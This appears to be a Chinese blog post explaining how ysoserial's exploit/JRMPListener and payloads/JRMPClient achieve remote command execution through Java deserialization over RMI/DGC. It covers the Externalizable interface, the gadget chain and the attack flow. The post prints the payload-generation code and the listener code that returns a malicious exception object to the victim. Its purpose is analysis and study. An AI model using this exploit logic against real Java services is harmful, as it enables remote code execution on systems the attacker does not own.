目录

0 前言

1 payloads/JRMPClient

1.1 Externalizable

1.2 生成payload

1.3 gadget链分析

2 exploit/JRMPListener

3 总结


0 前言

上一篇文章讲了 《java 反序列化 ysoserial exploit/JRMPClient 原理剖析》

https://blog.csdn.net/whatday/article/details/106971531

,本篇接着讲一下ysoserial exploit/JRMPListener的原理,相同的思路,我们结合着payloads/JRMPClient来分析。JRMPListener的攻击流程如下:
1、攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听

2、往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

1 payloads/JRMPClient

1.1 Externalizable

在讲payloads/JRMPClient之前,我们先讲一下Externalizable,这是java提供的一个接口,实现该接口的类就具备了可序列化功能,下面总结一下它和Serializable接口的一些相同点与不同点:
1、实现Externalizable接口的类必须重写writeExternal(ObjectOutput out)和readExternal(ObjectInput in)两个方法,在这两个方法中可以自定义序列化和反序列化规则,而实现Serializable接口的类没有需要强制实现的方法。
2、假设类中有些敏感数据,我不希望在网络上传输该对象的序列化数据中包含该敏感数据,两种接口都可以实现:
(1)Externalizable接口,在实现writeExternal(ObjectOutput out)方法时,不对敏感数据进行序列化就可以
(2)Serializable接口,使用transient关键字修饰敏感字段,则该字段将不会被序列化。
对比一下,使用transient关键字修饰其实更方便。
3、两个各有特点,只能是根据不同的业务需求去选择使用。
下面我写了一个关于Externalizable的测试类,来进一步理解Externalizable:

public class Person implements Externalizable {private String username; //用户名private String password; //密码public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}//在序列化Person对象时,只序列化username属性@Overridepublic void writeExternal(ObjectOutput out) throws IOException {System.out.println("writeExternal is running ...");out.writeObject(username);out.close();}//反序列化Person对象时,只反序列化username属性@Overridepublic void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {this.username = (String)in.readObject();System.out.println("readExternal is running ...");}//测试public static void main(String[] args) throws Exception {//如下代码将person对象设值后进行序列化,序列化后的数据存于字节流中ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);Person person = new Person();person.setUsername("zs");person.setPassword("123456");person.writeExternal(oos);//如下代码从字节流中获取序列化数据并对其进行反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Person person2 = new Person();person2.readExternal(ois);System.out.println("username=" + person2.username + " passowrd=" + person2.password);//结果为username=zs passowrd=null}
}

1.2 生成payload

以下为payloads/JRMPClient生成payload的代码,我添加了注释,其中通信所需的信息在后面分析中我们会看到其具体的作用。

public Registry getObject ( final String command ) throws Exception {String host;int port;//命令行获取ip值与端口值int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}//以下信息都是连接JRMPListener通信所需信息ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);//这就是构造的payload,创建了一个Registry类型的代理对象,handler值为上面创建的RemoteObjectInvocationHandlerRegistry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {Registry.class}, obj);return proxy;}

1.3 gadget链分析

如下为作者给出的gadget链,可以看到有两部分,其实就是在DGCClient.registerRefs(Endpoint, List<LiveRef>)方法中,有两个方法调用,且都对反向连接JRMPListener有作用,后面调试时可以看到。

1、根据上面的gadget链,我们就在UnicastRef.readExternal(ObjectInput)方法中设置断点:

2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通过反序列化获取到了在生成payload时,创建的TCPEndpoint(包含要建立socket通信的ip地址与端口号)、ObjID对象(对象唯一标识),并使用这两个对象生成了LiveRef对象(该对象的具体作用没进行分析)。

3、继续跟入到DGCClient.registerRefs(Endpoint, List<LiveRef>),这里就是上面给出的gadget链中出现两个分支的地方:

4、先进入DGCClient$EndpointEntry.lookup(Endpoint)方法:

5、继续跟入DGCClient$EndpointEntry构造方法,可以看到使用前面创建的TCPEndpoint与DgcID创建了LiveRef对象,并且生成了DGCImpl_Stub代理对象,到了这里就明白了, 
其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的 。最后一行代码就是创建与JRMPListener的Socket通信,由单独的线程负责:

6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然后进入DGCClient$EndpointEntry.registerRefs(List<LiveRef>)分支如下,代码较长,而且不重要,这里就不贴了,直接到最后一行:

7、进入DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)方法,还是直接到如下断点位置:

8、由于下一步调用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我们也遇到过,DGCImpl_Stub类是无法调试的,于是直接查看源码,终于看到了熟悉的一幕,前面已经详细分析过了,这里就总结一下,第一个红框是交换一些信息,说明本次是远程调用,第二红框依然是发送一些数据,第三个框是处理响应数据。

9、到了这里后面的流程也很熟悉了,及时不调试,也能猜测到JRMPListener响应的恶意payload只能在下面两个地方触发:
(1)当响应的payload为异常类时,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中触发的,如下,应该还记得,case1是正常,直接return,case2是发生异常时,这里会将异常对象反序列化:

(2)当响应的类为正常类时,则就在第八步图中的第四个红框中进行反序列化。
这里后面通过调试,发现是第一种情况,也就是JRMPListener响应回来的是一个异常类,就不贴图了,后面就分析一下exploit/JRMPListener

2 exploit/JRMPListener

由于这里代码量较多,因此就不一行一行写注释了,而且大部分都是通信中交换数据的,之前也分析过,这里就略过通信过程,直接挑一部分重点代码进行分析:

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {ObjID read;try {//这里读取到的是JRMPClient端发送的DgcIDread = ObjID.read(ois);} catch (java.io.IOException e) {throw new MarshalException("unable to read objID", e);}//这里如果判断是否为Dgc调用,DgcID为[0:0:0, 2]if (read.hashCode() == 2) {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}System.err.println("Sending return with payload for obj " + read);//这里发送81,也是为了防止JRMPClient抛出transport return code invalid异常out.writeByte(TransportConstants.Return);// transport opObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);//这里发送2,就会进入分析JRMPClient时的第九步中第一种情况的case2中oos.writeByte(TransportConstants.ExceptionalReturn);new UID().write(oos);//这里生成了一个异常类,其中包含一个Object类型的属性,名为valBadAttributeValueExpException ex = new BadAttributeValueExpException(null);//这里将恶意payload赋值给了val属性,在反序列化BadAttributeValueExpException类时,val值也会被反序列化,从而触发命令执行Reflections.setFieldValue(ex, "val", payload);//将payload发往JRMPClient端,payload会被反序列化oos.writeObject(ex);oos.flush();out.flush();this.hadConnection = true;synchronized (this.waitLock) {this.waitLock.notifyAll();}}

如上代码注释写的很清楚了,这里也明白了在分析payloads/JRMPClient时的第九步中为什么会进入case2。

3 总结

1、如果RMIClient请求RMIServer时的ip地址和端口号是攻击者可控的,则都可以使用exploit/JRMPListener进行攻击(其是通过dgc通信进行攻击),例如RMIClient执行如下代码连接到JRMPListener,即可遭受攻击:

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");

2、在一些特殊情况下,可以结合payloads/JRMPClient进行攻击。

 

 

java 反序列化 ysoserial exploit/JRMPListener 原理剖析相关推荐

  1. java 反序列化 ysoserial exploit/JRMPClient 原理剖析

    目录 0 前言 1 payloads/JRMPListener 1.1 payload生成 1.2 gadget链分析 2 使用RMIRegistryExploit攻击上述开启的监听 3 exploi ...

  2. 并发编程笔记——第六章 Java并发包中锁原理剖析

    一.LockSupport工具类 JDK中的rt.jar包里的LockSupport是个工具类,它的主要作用是挂起和唤醒线程,该工具类是创建锁和其他同步类的基础.LockSupport类与每个使用它的 ...

  3. java熔断_Hystrix熔断机制原理剖析

    一.前言 在分布式系统架构中多个系统之间通常是通过远程RPC调用进行通信,也就是 A 系统调用 B 系统服务,B 系统调用 C 系统的服务.当尾部应用 C 发生故障而系统 B 没有服务降级时候可能会导 ...

  4. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

  5. java反序列化——apache-shiro复现分析

    看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些java的反射机制. 一.什么是反射: 反射是Java的 ...

  6. Java反序列化漏洞研究

    Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...

  7. (38)【JAVA反序列化漏洞】简介、原理、工具、环境、靶场、思路

    目录 一.简介: 二.原理: 2.1.Java对象: 2.2.Java 序列化: 2.3.Java 反序列化: 三.函数: 四.工具: 4.1.ysoserial 0.0.4版 4.2. payloa ...

  8. java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit

    0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...

  9. ysoserial java 反序列化 Groovy1

    ysoserial简介 ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload: 由于其中部分payload使用到的低版本JDK中的类 ...

最新文章

  1. D3-栈[Java数据结构和算法]
  2. wangEditor 菜单栏随页面滚动位置改变(吸顶)问题解决
  3. Android新手入门2016(15)--Gallery画廊
  4. JAVA语言写的,用java语言写
  5. 【C/C++】algorithm头文件下常用函数
  6. 算法实例(2)_遗传算法
  7. 微机原理8086——8251A串口芯片protues仿真
  8. yapi接口管理工具
  9. linux下安装陈桥五笔
  10. 胡凡算法之——全排列问题
  11. 3D建模一个月的真实收入,当作副业在家就能月入过万?
  12. IMP-00017: following statement failed with ORACLE error 20005:(表统计信息被锁)
  13. 参观计算机实验室后的感想,参观实验室心得体会.doc
  14. 夏普SHV41 卸载应用 ADB 卸载脚本
  15. 直立代码分析__两轮平衡小车原理
  16. Laradock 使用笔记
  17. 云管平台如何纳管多云资源?
  18. 阿里云域名优惠口令获取方法
  19. 【毕业设计之python系列】基于Flask的在线音乐网设计与实现
  20. python回声程序echo 一行代码_回声状态网络法echo state network代码(简单)

热门文章

  1. mybatis 配置_MyBatis教程3:优化MyBatis配置文件中的配置
  2. OpenStack Skyline 现代化的管理界面
  3. Go 语言编程 — go mod 依赖包管理
  4. ##自定义一个自动注入Log 的 插件
  5. Istio调用链埋点原理剖析—是否真的“零修改”?
  6. jwt思维导图,让jwt不再难懂
  7. tp剩余未验证内容-8
  8. isa 2006 下发布 owa
  9. 8家云计算及安全巨头联合成立云安全服务联盟
  10. 微信开发教程(4)——高级群发接口